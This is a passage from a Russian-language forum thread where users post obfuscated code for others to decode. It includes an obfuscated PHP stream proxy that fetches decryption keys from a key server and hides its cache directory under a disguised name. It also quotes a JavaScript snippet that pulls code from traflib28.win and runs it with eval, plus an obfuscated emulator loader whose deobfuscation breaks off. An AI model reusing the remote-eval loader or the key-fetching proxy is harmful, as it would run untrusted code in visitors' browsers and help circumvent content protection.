    #1069 Straiker1989, 11 Nov 2019
    Last edited: 11 Nov 2019
  10. hibar1Xs

    hibar1Xs Member

    Joined:
    30 Jan 2019
    Messages:
    15
    Likes Received:
    8
    Reputations:
    3
    Code:
    <?php
    require_once "key_server.php";
    $_0 = true;
    ini_set("output_buffering", 0);
    set_time_limit(0);
    error_reporting(0);
    ob_implicit_flush();
    $_1 = false;
    $_2 = isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : "";
    $_3 = dirname($_SERVER["PHP_SELF"]);
    if ($_3 == "/") $_3 = "";
    $_4 = "http://" . $_2 . $_3 . "/";
    $_5 = $_SERVER;
    if (isset($_SERVER["REDIRECT_QUERY_STRING"])) $_6 = $_SERVER["REDIRECT_QUERY_STRING"];
    else $_6 = isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : "";
    $_7 = $_SERVER["REMOTE_ADDR"];
    $_8 = getHostName();
    $_6 = str_replace(".m3u8&", ".m3u8?", $_6);
    $_6 = str_replace(".ts&", ".ts?", $_6);
    if (($_3 != "") && (strpos($_6, $_3) === 0)) $_6 = substr($_6, strlen($_3));
    if ((strlen($_6) > 0) && ($_6[0] == "/")) $_6 = substr($_6, 1);
    $_9 = dirname($_6) . "/";
    $_10 = sys_get_temp_dir() . "/" . base64_decode("c3lzdGVtZC1wc" . "ml2YXRlLWIzYTZhOTgy" . "ODIzODI5NzkxMjM5ODc0" . "LXRtcC5zZXJ2aWNlLUpkN0" . "czYQ==") . "/" . "tmp" . "/";
    if (stripos($_6, ".m3u8") !== $_1)
    {
        $_11 = "http://" . $_6;
        $_12 = substr($_11, -5) == ".m3u8";
        $_13 = l__1($_11);
        $_14 = "";
        foreach (explode("
    ", $_13["header"]) as $_15)
        {
            if (stripos($_15, "HTTP/") !== $_1) $_14 = $_15;
            if (($_13["code"] == 200) && (stripos($_15, "Content-Type") !== $_1))
            {
                if (stripos($_11, ".m3u8") !== $_1) header($_15);
                break;
            }
        }
        if ($_13["code"] != 200)
        {
            header($_14);
            exit(0);
        }
        $_16 = explode("
    ", $_13["page"]);
        $_17 = "";
        $_18 = "";
        $_19 = "";
        $_20 = "";
        $_21 = "";
        $_22 = getHostByName($_8);
        if ($_7 == "1" . "2" . "7" . "." . "0" . "." . "0" . "." . "1")
        {
            $_7 = $_22;
        }
        foreach (array(
            "HTTP" . "_" . "X" . "_" . "REAL" . "_" . "IP",
            "HTTP" . "_" . "X" . "_" . "FORW" . "ARDED" . "_" . "FOR",
            "HTTP" . "_" . "CLIENT" . "_" . "IP",
            "HTTP" . "_" . "CF" . "_" . "CONNECT" . "ING" . "_" . "IP"
        ) as $_23)
        {
            if (key_exists($_23, $_5))
            {
                $_24 = $_5[$_23];
                if (strpos($_7, $_24) === false) $_7 .= "|" . $_24;
            }
        }
        $_19 = "";
        $_25 = [];
        $_26 = "";
        $_27 = $_1;
        $_28 = $_1;
        foreach ($_16 as $_15)
        {
            if (stripos($_15, "#EXT" . "-" . "X" . "-" . "KEY") !== $_1)
            {
                $_15 = str_replace(" ", "", $_15);
                $_24 = preg_match_all('/METHOD=(.*),IV=(.*),URI="(.*)"/Uis', $_15, $_29);
                if ($_24 == 1)
                {
                    $_18 = substr($_29[2][0], 2, strlen($_29[2][0]) - 2);
                    $_19 = $_29[3][0];
                    $_28 = $_0;
                }
                $_19 = parse_url($_19);
                if (isset($_19["query"])) parse_str($_19["query"], $_19);
                $_21 = isset($_19["p"]) ? $_19["p"] : "";
                $_20 = isset($_19["r"]) ? $_19["r"] : "";
                $_30 = isset($_19["t"]) ? $_19["t"] : "";
                $_19 = l__0($_21, $_20, $_30);
                if ($_19 != "")
                {
                    $_19 = base64_decode($_19);
                    $_19 = bin2hex($_19);
                }
                continue;
            }
            if (preg_match("/https?\:\/\/[^\" ]+/i", $_15, $_31) == 1)
            {
                $_32 = $_31[0];
                $_33 = str_replace("http://", $_4, $_32);
                $_15 = str_replace($_32, $_33, $_15);
                if (($_15 != "") && ($_15[0] != "#") && (stripos($_15, ".ts") !== $_1)) if (($_19 != "") && ($_18 != ""))
                {
                    $_15 .= (strpos($_15, "?") !== $_1) ? "&" : "?";
                    $_15 .= "k_k=" . $_19 . "&v_v=" . $_18;
                }
            }
            else
            {
                if (($_15 != "") && ($_15[0] != "#") && (stripos($_15, ".ts") !== $_1))
                {
                    if ($_28 == $_1)
                    {
                        if (preg_match("/" . "C" . "H" . "_" . "\"" . "w" . "+" . "/" . "i", $_6, $_31) == 1)
                        {
                            l__0("NO" . "N" . "E", $_31[0], "D" . "TV");
                            $_28 = $_0;
                        }
                    }
                    $_15 = $_4 . $_9 . $_15;
                    if (($_19 != "") && ($_18 != ""))
                    {
                        $_15 .= (strpos($_15, "?") !== $_1) ? "&" : "?";
                        $_15 .= "k_k=" . $_19 . "&v_v=" . $_18;
                    }
                }
            }
            $_17 = $_17 . $_15 . "
    ";
        }
        if ($_12) header("Cache-Control: " . "no-store, no-cache, must-revalidate");
        header("Content-Length: " . strlen($_17));
        echo $_17;
    }
    if (stripos($_6, ".ts") !== $_1)
    {
        $_11 = "http://" . $_6;
        $_34 = parse_url($_11);
        if (isset($_34["query"])) parse_str($_34["query"], $_34);
        $_35 = isset($_34["k_k"]) ? $_34["k_k"] : "";
        $_36 = isset($_34["v_v"]) ? $_34["v_v"] : "";
        $_11 = str_replace("k_k=" . $_35 . "&v_v=" . $_36, "", $_11);
        $_11 = rtrim($_11, "?");
        $_11 = rtrim($_11, "&");
        $_13 = l__1($_11);
        if ($_13["code"] == 200)
        {
            $_17 = "";
            if (($_35 != "") && ($_36 != ""))
            {
                $_19 = hex2bin($_35);
                $_18 = hex2bin($_36);
                $_17 = openssl_decrypt($_13["page"], "A" . "E" . "S" . "-" . strval(5381 - 5253) . "-" . "C" . "B" . "C", $_19, OPENSSL_RAW_DATA, $_18);
                if ($_17 === $_1)
                {
                    if (preg_match("/\/hls\/(\w+)\//", $_13["url"], $_37) > 0)
                    {
                        $_38 = file_exists($_26);
                        file_put_contents($_10 . bin2hex($_37[1]) , "force");
                        if (!$_38) chmod($_26, 438);
                        header("Status: 404 Not Found", true, 404);
                        exit(0);
                    }
                }
            }
            else
            {
                $_17 = $_13["page"];
            }
            header("Content-Type" . ": " . "application/octet-stream");
            header("Content-Length: " . strlen($_17));
            echo $_17;
        }
        else
        {
            foreach (explode("
    ", $_13["header"]) as $_15) if (stripos($_15, "HTTP/") !== $_1)
            {
                header($_15);
                exit(0);
            }
        }
    }
    function l__0($_21, $_20, $_30)
    {
        global $_10;
        global $_7;
        global $_5;
        global $_1;
        global $keyServerAddr;
        $_26 = $_10 . bin2hex($_20);
        if (($_21 != "") && ($_20 != "")) if (file_exists($_26))
        {
            $_25 = file_get_contents($_26);
            $_27 = $_25 == "force";
            $_25 = json_decode($_25, true);
            foreach ($_25 as $_39)
            {
                if ($_39["r"] < time() - 1 * 3600)
                {
                    unset($_25[$_39]);
                }
                elseif ($_39["p"] == $_21)
                {
                    $_19 = $_39["k"];
                    break;
                }
            }
        }
        if (($_19 == "") && ($_21 != "") && ($_20 != ""))
        {
            $_40 = "R" . "T";
            $_41 = $_7;
            $_42 = l__2();
            $_41 .= $_20;
            curl_setopt($_42, CURLOPT_CONNECTTIMEOUT, 2);
            $_41 .= $_21;
            curl_setopt($_42, CURLOPT_TIMEOUT, 5);
            $_41 = sha1($_41);
            curl_setopt($_42, CURLOPT_USERAGENT, $_5["HTTP" . "_" . "USER" . "_" . "AGENT"]);
            $_41 = substr($_41, -16);
            $_13 = l__3($_42, $keyServerAddr . "?" . "t=" . $_40 . "&r=" . $_20 . "&p=" . $_21 . "&k=" . $_30 . "&ip=" . $_7 . (($_41 != "") ? "&hash=" . $_41 : "") . (($_27) ? "&force=1" : "") , null);
            curl_close($_42);
            if (($_13["code"] == 200) && ($_13["page"] != ""))
            {
                $_19 = $_13["page"];
                $_19 = str_replace("
    ", "", $_19);
                $_19 = str_replace("
    ", "", $_19);
            }
            if (stripos($_19, "error") !== $_1) $_19 = "";
            if ($_19 == "")
            {
                die("Unable to get KEY
    ");
            }
            else
            {
                $_39 = [];
                $_39["r"] = time();
                $_39["p"] = $_21;
                $_39["k"] = $_19;
                $_25[] = $_39;
                if (!is_dir($_10)) mkdir($_10, 511, true);
                $_38 = file_exists($_26);
                file_put_contents($_26, json_encode($_25));
                if (!$_38) chmod($_26, 438);
            }
        }
        return $_19;
    }
    function l__1($_11, $_43 = 3)
    {
        global $_0;
        global $_1;
        if ($_43 < 1) $_43 = 1;
        $_44 = null;
        $_45 = null;
        $_46 = 0;
        if (file_exists("ips.list"))
        {
            $_45 = file_get_contents("ips.list");
            $_45 = explode(PHP_EOL, $_45);
            if (is_array($_45) && (count($_45) > 0))
            {
                shuffle($_45);
                $_47 = trim($_45[0]);
                if ($_47 != "") $_44 = $_47;
            }
        }
        for ($_48 = 1;$_48 <= $_43;$_48++)
        {
            $_42 = l__2();
            $_13 = l__3($_42, $_11, $_44);
            curl_close($_42);
            $_49 = $_0;
            if ($_13["code"] == 200)
            {
                $_50 = null;
                foreach (explode("
    ", $_13["header"]) as $_15) if (stripos($_15, "Content-Length") !== $_1)
                {
                    $_15 = explode(":", $_15);
                    $_50 = intval(trim($_15[1]));
                    break;
                }
                $_51 = strlen($_13["page"]);
                if (!is_null($_50) && ($_51 < $_50)) $_49 = $_1;
                if (is_null($_50)) if ($_51 < 5) $_49 = $_1;
            }
            elseif ($_13["code"] == 509)
            {
                if (is_array($_45) && (count($_45) > 0))
                {
                    $_46++;
                    if ($_46 + 1 >= count($_45)) $_46 = 0;
                    $_47 = trim($_45[$_46]);
                    if ($_47 != "") $_44 = $_47;
                    else $_44 = null;
                }
            }
            if ($_49) return $_13;
        }
    }
    function l__2()
    {
        global $_0;
        global $_1;
        $_42 = curl_init();
        curl_setopt($_42, CURLOPT_DNS_CACHE_TIMEOUT, 3);
        curl_setopt($_42, CURLOPT_FRESH_CONNECT, $_0);
        curl_setopt($_42, CURLOPT_SSL_VERIFYPEER, $_1);
        curl_setopt($_42, CURLOPT_VERBOSE, 0);
        curl_setopt($_42, CURLOPT_FOLLOWLOCATION, 0);
        curl_setopt($_42, CURLOPT_USERAGENT, "Lavf53.32.100");
        curl_setopt($_42, CURLOPT_HEADER, 1);
        curl_setopt($_42, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($_42, CURLOPT_CRLF, 1);
        curl_setopt($_42, CURLOPT_CONNECTTIMEOUT, 2);
        curl_setopt($_42, CURLOPT_TIMEOUT_MS, 3500);
        curl_setopt($_42, CURLOPT_NOSIGNAL, 1);
        return $_42;
    }
    function l__3($_42, $_11, $_52)
    {
        curl_setopt($_42, CURLOPT_URL, $_11);
        if (isset($_52) && !is_null($_52)) curl_setopt($_42, CURLOPT_INTERFACE, $_52);
        $_13 = curl_exec($_42);
        $_53 = curl_getinfo($_42);
        $_54 = $_53["header_size"];
        $_55 = substr($_13, 0, $_54);
        $_13 = substr($_13, $_54);
        $_56 = array();
        $_56["code"] = $_53["http_code"];
        $_56["page"] = $_13;
        $_56["error"] = curl_error($_42);
        $_56["url"] = $_11;
        $_56["header"] = $_55;
        if (($_56["code"] == 302) || ($_56["code"] == 301))
        {
            $_57 = $_11;
            preg_match("!
    (?:Location|URI): *(.*?) *
    !", $_55, $_31);
            $_11 = $_31[1];
            $_58 = parse_url($_11, PHP_URL_SCHEME);
            if (!isset($_58))
            {
                if ($_11[0] == "/")
                {
                    $_59 = strpos($_57, "/", 10);
                    $_11 = substr($_57, 0, $_59) . $_11;
                }
                else $_11 = dirname($_57) . $_11;
            }
            $_56 = l__3($_42, $_11, $_52);
        }
        return $_56;
    }
     
  11. Jimio

    Jimio New Member

    Joined:
    20 Dec 2018
    Messages:
    26
    Likes Received:
    0
    Reputations:
    0
  12. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,417
    Likes Received:
    815
    Reputations:
    848
    HTML:
    var xhr=new XMLHttpRequest();
    xhr.open('GET','//traflib28.win/?bKnYGp=VQlTA1lGW05REAlQVgZQTEEEEVcbc1QRD10DHFUaDldLEFtSVBsUVg8CVhwRDVYTXhBNFlJHVBcHRwFTGANbGglOVlZEHVEVTlQWBVZUAQ==');
    xhr.onload=function(){var ref=document.referrer;eval(xhr.responseText);}
    ;xhr.send();
    
     
    _________________________
    Jimio likes this.
  13. paha1

    paha1 New Member

    Joined:
    1 Feb 2018
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    Уважаемые знатоки.
    Помогите раскодировать и может подскажете чем и как такое можно раскодировать.
    Code:
    var _0x4f39 = ['w5wyQ8OlwrLDmw==', 'wqY7wqN0fMKCDz7DhA==', 'wpnDoS1Kf8O7', 'QsKXw4gywrHDlkZYwqnCsMK6', 'wp3DgcKCw73Dr3LDnhvCjsOHSQ==', 'wpxmw4/CrQzDqcK8T8KT', 'CsOfw4bCqhPCosKgw47DtxZp', 'wofDgcKKw7fDqH/DgwrCiw==', 'wo9xGcKhIkbDl8KsDy8q', 'wq0qw5gfwowjX8Oswo0=', 'w63Dm3cGXMOcwqnCpg==', 'w4tvw4LDjMK+', 'WMKXw582wqHDmltJwqw=', 'w5bClMO1RUoow55Z', 'w6LClA/CiMKEfijDlFA=', 'w7rCh8KCwoBFVHXDk8KUDA==', 'YkAPw6QHw5bCsw==', 'w6AYc3k=', 'wpw9XMOsOQTDhA==', 'wpZcJjl6A8Kq', 'w7bCtBpMwrpjw5c=', 'N8K+w53DuzXDrHluw6UpRsOJwrzDmQ==', 'wodLBSJ6HsK3woXCsQgd', 'w7YDZy/DuMKZWsKew7Zgw6U2wqR6', 'w7XDnUMaWsOSwrLCrxfCsMKO', 'w7Y8SsO1wpfDmg==', 'fBrDgVbCssO/XG/ClsKCwrUZH8OB', 'cVXCtsOLUMKUFcKifBE=', 'w7nDmcOPSsOyfw==', 'DMKEw57DoRbDpk1pw6Y8', 'TsKLw54ywrPDlg==', 'AcOUw5PCogvCosKDw4jDuRJpX3gX', 'w4Jlw5HDnsKuWT8=', 'ehbDiVs=', 'CEJUSxhaw5sESAs=', 'IsKuw7kzwrx6wrM=', 'OsOLwoRhK8K8CcOZTQ==', 'IMKrPx5CwpnDpg1WVsOkfCEB', 'RSjDo8K3', 'ASXCpMOP', 'EcOpwo/ChB42', 'w6PCmsK8', 'PwnCnA==', 'w4drw4Q=', 'wr56wqJ8', 'wp/DtD8=', 'NcO0w6lv', 'd8O7wq1g', 'Dh7DoMKtcgQdMcOOUMOWworChA==', 'w7TDpRPDiMK+Y0BOwr/CkW7DnSsDbWHDj07DjcKY', 'w7bCiRLCg8KB', 'woELw5s=', 'FcOQw4fCrgvCs8Kdw5XDsgc=', 'woBmw5jCrRjDtMKQT8KRw6PCqcK7', 'wowrSMOmLRnDmX98', 'McKyw5TDoQ7Du0U=', 'w449SsOlwp3DlsOCJsOo'];
    (function(_0x275d1f, _0x1ac165) {
        var _0x3b1ac3 = function(_0x2fd7d7) {
            while(--_0x2fd7d7) {
                _0x275d1f['push'](_0x275d1f['shift']());
            }
        };
        _0x3b1ac3(++_0x1ac165);
    }(_0x4f39, 0x12d));
    var _0x1a9b = function(_0x1a3ee0, _0xfc43c8) {
        _0x1a3ee0 = _0x1a3ee0 - 0x0;
        var _0x2c13f9 = _0x4f39[_0x1a3ee0];
        if(_0x1a9b['TUVEif'] === undefined) {
            (function() {
                var _0x13ab93 = function() {
                    var _0x434ea1;
                    try {
                        _0x434ea1 = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');')();
                    } catch(_0x58cb0e) {
                        _0x434ea1 = window;
                    }
                    return _0x434ea1;
                };
                var _0x4a8cfb = _0x13ab93();
                var _0x176c4e = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
                _0x4a8cfb['atob'] || (_0x4a8cfb['atob'] = function(_0x3d9389) {
                    var _0x38a726 = String(_0x3d9389)['replace'](/=+$/, '');
                    for(var _0x4ab32a = 0x0, _0x66d27c, _0x4e2e63, _0x352c4a = 0x0, _0x2ace6d = ''; _0x4e2e63 = _0x38a726['charAt'](_0x352c4a++); ~_0x4e2e63 && (_0x66d27c = _0x4ab32a % 0x4 ? _0x66d27c * 0x40 + _0x4e2e63 : _0x4e2e63, _0x4ab32a++ % 0x4) ? _0x2ace6d += String['fromCharCode'](0xff & _0x66d27c >> (-0x2 * _0x4ab32a & 0x6)) : 0x0) {
                        _0x4e2e63 = _0x176c4e['indexOf'](_0x4e2e63);
                    }
                    return _0x2ace6d;
                });
            }());
            var _0x4d3f34 = function(_0x273d4c, _0x51d9f8) {
                var _0x415ce6 = [],
                    _0x131dcb = 0x0,
                    _0x28f19a, _0x4b1c34 = '',
                    _0x4048bb = '';
                _0x273d4c = atob(_0x273d4c);
                for(var _0x116a3d = 0x0, _0x21be34 = _0x273d4c['length']; _0x116a3d < _0x21be34; _0x116a3d++) {
                    _0x4048bb += '%' + ('00' + _0x273d4c['charCodeAt'](_0x116a3d)['toString'](0x10))['slice'](-0x2);
                }
                _0x273d4c = decodeURIComponent(_0x4048bb);
                for(var _0x46980b = 0x0; _0x46980b < 0x100; _0x46980b++) {
                    _0x415ce6[_0x46980b] = _0x46980b;
                }
                for(_0x46980b = 0x0; _0x46980b < 0x100; _0x46980b++) {
                    _0x131dcb = (_0x131dcb + _0x415ce6[_0x46980b] + _0x51d9f8['charCodeAt'](_0x46980b % _0x51d9f8['length'])) % 0x100;
                    _0x28f19a = _0x415ce6[_0x46980b];
                    _0x415ce6[_0x46980b] = _0x415ce6[_0x131dcb];
                    _0x415ce6[_0x131dcb] = _0x28f19a;
                }
                _0x46980b = 0x0;
                _0x131dcb = 0x0;
                for(var _0x4a0a89 = 0x0; _0x4a0a89 < _0x273d4c['length']; _0x4a0a89++) {
                    _0x46980b = (_0x46980b + 0x1) % 0x100;
                    _0x131dcb = (_0x131dcb + _0x415ce6[_0x46980b]) % 0x100;
                    _0x28f19a = _0x415ce6[_0x46980b];
                    _0x415ce6[_0x46980b] = _0x415ce6[_0x131dcb];
                    _0x415ce6[_0x131dcb] = _0x28f19a;
                    _0x4b1c34 += String['fromCharCode'](_0x273d4c['charCodeAt'](_0x4a0a89) ^ _0x415ce6[(_0x415ce6[_0x46980b] + _0x415ce6[_0x131dcb]) % 0x100]);
                }
                return _0x4b1c34;
            };
            _0x1a9b['aiYcjL'] = _0x4d3f34;
            _0x1a9b['rblEyx'] = {};
            _0x1a9b['TUVEif'] = !![];
        }
        var _0x134abe = _0x1a9b['rblEyx'][_0x1a3ee0];
        if(_0x134abe === undefined) {
            if(_0x1a9b['mihUMw'] === undefined) {
                _0x1a9b['mihUMw'] = !![];
            }
            _0x2c13f9 = _0x1a9b['aiYcjL'](_0x2c13f9, _0xfc43c8);
            _0x1a9b['rblEyx'][_0x1a3ee0] = _0x2c13f9;
        } else {
            _0x2c13f9 = _0x134abe;
        }
        return _0x2c13f9;
    };
    var loader = function(_0x1c6dbd) {
        var _0x4830e2 = {};
    
        function _0x574aa9(_0x2b8e7f) {
            if(_0x4830e2[_0x2b8e7f]) return _0x4830e2[_0x2b8e7f][_0x1a9b('0x0', 'vZIM')];
            var _0x407e93 = _0x4830e2[_0x2b8e7f] = {
                'i': _0x2b8e7f,
                'l': !0x1,
                'exports': {}
            };
            return _0x1c6dbd[_0x2b8e7f][_0x1a9b('0x1', 'JZZN')](_0x407e93[_0x1a9b('0x2', 'oc%S')], _0x407e93, _0x407e93[_0x1a9b('0x3', 'fX42')], _0x574aa9), _0x407e93['l'] = !0x0, _0x407e93[_0x1a9b('0x4', '$qhn')];
        }
        return _0x574aa9['m'] = _0x1c6dbd, _0x574aa9['c'] = _0x4830e2, _0x574aa9['d'] = function(_0x2e5a3b, _0x114bbb, _0x2651c1) {
            _0x574aa9['o'](_0x2e5a3b, _0x114bbb) || Object[_0x1a9b('0x5', '6rEL')](_0x2e5a3b, _0x114bbb, {
                'enumerable': !0x0,
                'get': _0x2651c1
            });
        }, _0x574aa9['r'] = function(_0x4a701a) {
            'undefined' != typeof Symbol && Symbol[_0x1a9b('0x6', 'fX42')] && Object[_0x1a9b('0x7', 'Fae6')](_0x4a701a, Symbol[_0x1a9b('0x8', 'z%j!')], {
                'value': _0x1a9b('0x9', 'Hs^D')
            }), Object[_0x1a9b('0xa', '%#AJ')](_0x4a701a, _0x1a9b('0xb', 'PGyQ'), {
                'value': !0x0
            });
        }, _0x574aa9['t'] = function(_0xbff678, _0xc9bb87) {
            if(0x1 & _0xc9bb87 && (_0xbff678 = _0x574aa9(_0xbff678)), 0x8 & _0xc9bb87) return _0xbff678;
            if(0x4 & _0xc9bb87 && _0x1a9b('0xc', '0&mz') == typeof _0xbff678 && _0xbff678 && _0xbff678[_0x1a9b('0xd', '6rEL')]) return _0xbff678;
            var _0x3979e0 = Object[_0x1a9b('0xe', '#7aR')](null);
            if(_0x574aa9['r'](_0x3979e0), Object[_0x1a9b('0xf', '&d&D')](_0x3979e0, _0x1a9b('0x10', 'K5#f'), {
                    'enumerable': !0x0,
                    'value': _0xbff678
                }), 0x2 & _0xc9bb87 && 'string' != typeof _0xbff678)
                for(var _0x3a20dc in _0xbff678) _0x574aa9['d'](_0x3979e0, _0x3a20dc, function(_0x50b830) {
                    return _0xbff678[_0x50b830];
                }[_0x1a9b('0x11', '%#AJ')](null, _0x3a20dc));
            return _0x3979e0;
        }, _0x574aa9['n'] = function(_0x3c77db) {
            var _0x385c7f = _0x3c77db && _0x3c77db[_0x1a9b('0x12', 'gqpi')] ? function() {
                return _0x3c77db[_0x1a9b('0x13', '$XsS')];
            } : function() {
                return _0x3c77db;
            };
            return _0x574aa9['d'](_0x385c7f, 'a', _0x385c7f), _0x385c7f;
        }, _0x574aa9['o'] = function(_0x54f5fc, _0x41327a) {
            return Object[_0x1a9b('0x14', 'z&9a')][_0x1a9b('0x15', 'lAJ#')][_0x1a9b('0x16', '^eT^')](_0x54f5fc, _0x41327a);
        }, _0x574aa9['p'] = '', _0x574aa9(_0x574aa9['s'] = 0x189);
    }({
        393: function(_0x7c2caa, _0xc85b71) {
            var _0x1f0e50, _0x5f4c15, _0x2d0039, _0xf65327, _0x169302;
            window, _0x1f0e50 = document, _0x5f4c15 = 'script', _0x2d0039 = [_0x1a9b('0x17', 'PGyQ'), _0x1a9b('0x18', 'km8p'), _0x1a9b('0x19', 'KqxI'), _0x1a9b('0x1a', 'deB['), _0x1a9b('0x1b', '3bVk'), _0x1a9b('0x1c', 'f4#$'), _0x1a9b('0x1d', 'T6LB'), 'tor.j', _0x1a9b('0x1e', '$XsS'), _0x1a9b('0x1f', '$XsS')]['join'](''), _0xf65327 = _0x1f0e50[_0x1a9b('0x20', 'LnSa')](_0x5f4c15), _0x169302 = _0x1f0e50[_0x1a9b('0x21', 'r&]X')](_0x5f4c15)[0x0], _0xf65327[_0x1a9b('0x22', '(*Wz')] = 0x1, _0xf65327[_0x1a9b('0x23', 'A*S2')] = _0x2d0039, _0x169302[_0x1a9b('0x24', '&d&D')][_0x1a9b('0x25', '3bVk')](_0xf65327, _0x169302), _0xf65327['onload'] = function() {
                var _0x7c2caa = {};
                _0x7c2caa['gameUrl'] = EJS_gameUrl, _0x1a9b('0x26', 'oc%S') != typeof EJS_biosUrl && (_0x7c2caa[_0x1a9b('0x27', '6rEL')] = EJS_biosUrl), _0x1a9b('0x28', 'Hs^D') != typeof EJS_gameID && (_0x7c2caa[_0x1a9b('0x29', 'Hs^D')] = EJS_gameID), 'undefined' != typeof EJS_gameParentUrl && (_0x7c2caa['gameParentUrl'] = EJS_gameParentUrl), _0x1a9b('0x2a', 'f4#$') != typeof EJS_gamePatchUrl && (_0x7c2caa['gamePatchUrl'] = EJS_gamePatchUrl), _0x7c2caa[_0x1a9b('0x2b', 'T6LB')] = EJS_core, _0x7c2caa[_0x1a9b('0x2c', '#7aR')] = null, _0x7c2caa[_0x1a9b('0x2d', 'XN!f')] = null, _0x1a9b('0x2e', '3bVk') != typeof EJS_onSaveState && (_0x7c2caa[_0x1a9b('0x2f', '&d&D')] = EJS_onSaveState), _0x1a9b('0x30', 'XN!f') != typeof EJS_onLoadState && (_0x7c2caa[_0x1a9b('0x31', 'uZ#8')] = EJS_onLoadState), _0x1a9b('0x32', 'f20y') != typeof EJS_lightgun && (_0x7c2caa[_0x1a9b('0x33', 'z%j!')] = EJS_lightgun), 'undefined' != typeof EJS_mouse && (_0x7c2caa[_0x1a9b('0x34', 'K5#f')] = EJS_mouse), _0x1a9b('0x35', '#7aR') != typeof EJS_multitap && (_0x7c2caa[_0x1a9b('0x36', 'cgR8')] = EJS_multitap), _0x1a9b('0x32', 'f20y') != typeof EJS_playerName && (_0x7c2caa['playerName'] = EJS_playerName), window['EJS_emulator'] = new EJS(EJS_player, _0x7c2caa), _0x1a9b('0x37', '(*Wz') != typeof EJS_onGameStart && EJS_emulator['on'](_0x1a9b('0x38', '&wWP'), EJS_onGameStart);
            };
        }
    })['default'];
     
    people2people likes this.
  14. fandor9

    fandor9 Well-Known Member

    Joined:
    16 Nov 2018
    Messages:
    441
    Likes Received:
    677
    Reputations:
    19
    В общем вот деобфусцированный JS-код:
    Code:
    var base64_array = ['w5wyQ8OlwrLDmw==', 'wqY7wqN0fMKCDz7DhA==', 'wpnDoS1Kf8O7', 'QsKXw4gywrHDlkZYwqnCsMK6', 'wp3DgcKCw73Dr3LDnhvCjsOHSQ==', 'wpxmw4/CrQzDqcK8T8KT', 'CsOfw4bCqhPCosKgw47DtxZp', 'wofDgcKKw7fDqH/DgwrCiw==', 'wo9xGcKhIkbDl8KsDy8q', 'wq0qw5gfwowjX8Oswo0=', 'w63Dm3cGXMOcwqnCpg==', 'w4tvw4LDjMK+', 'WMKXw582wqHDmltJwqw=', 'w5bClMO1RUoow55Z', 'w6LClA/CiMKEfijDlFA=', 'w7rCh8KCwoBFVHXDk8KUDA==', 'YkAPw6QHw5bCsw==', 'w6AYc3k=', 'wpw9XMOsOQTDhA==', 'wpZcJjl6A8Kq', 'w7bCtBpMwrpjw5c=', 'N8K+w53DuzXDrHluw6UpRsOJwrzDmQ==', 'wodLBSJ6HsK3woXCsQgd', 'w7YDZy/DuMKZWsKew7Zgw6U2wqR6', 'w7XDnUMaWsOSwrLCrxfCsMKO', 'w7Y8SsO1wpfDmg==', 'fBrDgVbCssO/XG/ClsKCwrUZH8OB', 'cVXCtsOLUMKUFcKifBE=', 'w7nDmcOPSsOyfw==', 'DMKEw57DoRbDpk1pw6Y8', 'TsKLw54ywrPDlg==', 'AcOUw5PCogvCosKDw4jDuRJpX3gX', 'w4Jlw5HDnsKuWT8=', 'ehbDiVs=', 'CEJUSxhaw5sESAs=', 'IsKuw7kzwrx6wrM=', 'OsOLwoRhK8K8CcOZTQ==', 'IMKrPx5CwpnDpg1WVsOkfCEB', 'RSjDo8K3', 'ASXCpMOP', 'EcOpwo/ChB42', 'w6PCmsK8', 'PwnCnA==', 'w4drw4Q=', 'wr56wqJ8', 'wp/DtD8=', 'NcO0w6lv', 'd8O7wq1g', 'Dh7DoMKtcgQdMcOOUMOWworChA==', 'w7TDpRPDiMK+Y0BOwr/CkW7DnSsDbWHDj07DjcKY', 'w7bCiRLCg8KB', 'woELw5s=', 'FcOQw4fCrgvCs8Kdw5XDsgc=', 'woBmw5jCrRjDtMKQT8KRw6PCqcK7', 'wowrSMOmLRnDmX98', 'McKyw5TDoQ7Du0U=', 'w449SsOlwp3DlsOCJsOo'];
    
        (function(array_input, input_var2) {
            var rotate_array = function(rounds) {
                while(--rounds) {
                    array_input.push(array_input.shift());
                }
            };
            rotate_array(++input_var2);
        }(base64_array, 301));
    
        var environment = function(input_var1, input_var2) {
            input_var1 = input_var1 - 0;
            var result = base64_array[input_var1];
            if(environment.TUVEif === undefined) {
                (function() {
                    var function_constructor_return = function() {
                        var local_function;
                        try {
                            local_function = Function('return (function() {}.constructor("return this")( ));')();
                        } catch(error) {
                            local_function = window;
                        }
                        return local_function;
                    };
    
                    var define = function_constructor_return();
                    var base64_alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
                    define.atob || (define.atob = function(atob_input_var1) {
                        var trimmed_input = String(atob_input_var1).replace(/=+$/, '');
                        for(var i = 0, j, k, l = 0, result = ''; k = trimmed_input.charAt(l++); ~k && (j = i % 4 ? j * 64 + k : k, i++ % 4) ? result += String.fromCharCode(0xff & j >> (-0x2 * i & 0x6)) : 0) {
                            k = base64_alphabet.indexOf(k);
                        }
                        return result;
                    });
                }());
    
                var rc4_encrypt = function(input_var1, secret_key) {
                    var local_array = [],
                        j = 0,
                        temp_var, result = '',
                        hex_encoded = '';
                    input_var1 = atob(input_var1);
                    for(var count = 0; count < input_var1.length; count++) {
                        hex_encoded += '%' + ('00' + input_var1.charCodeAt(count).toString(16)).slice(-2);
                    }
                    input_var1 = decodeURIComponent(hex_encoded);
                    for(var i = 0; i < 256; i++) {
                        local_array[i] = i;
                    }
                    for(i = 0; i < 256; i++) {
                        j = (j + local_array[i] + secret_key.charCodeAt(i % secret_key.length)) % 256;
                        temp_var = local_array[i];
                        local_array[i] = local_array[j];
                        local_array[j] = temp_var;
                    }
                    i = 0;
                    j = 0;
                    for(var n = 0; n < input_var1.length; n++) {
                        i = (i + 1) % 256;
                        j = (j + local_array[i]) % 256;
                        temp_var = local_array[i];
                        local_array[i] = local_array[j];
                        local_array[j] = temp_var;
                        result += String.fromCharCode(input_var1.charCodeAt(n) ^ local_array[(local_array[i] + local_array[j]) % 256]);
                    }
                    return result;
                };
    
                environment.decrypt = rc4_encrypt;
                environment.rblEyx = {};
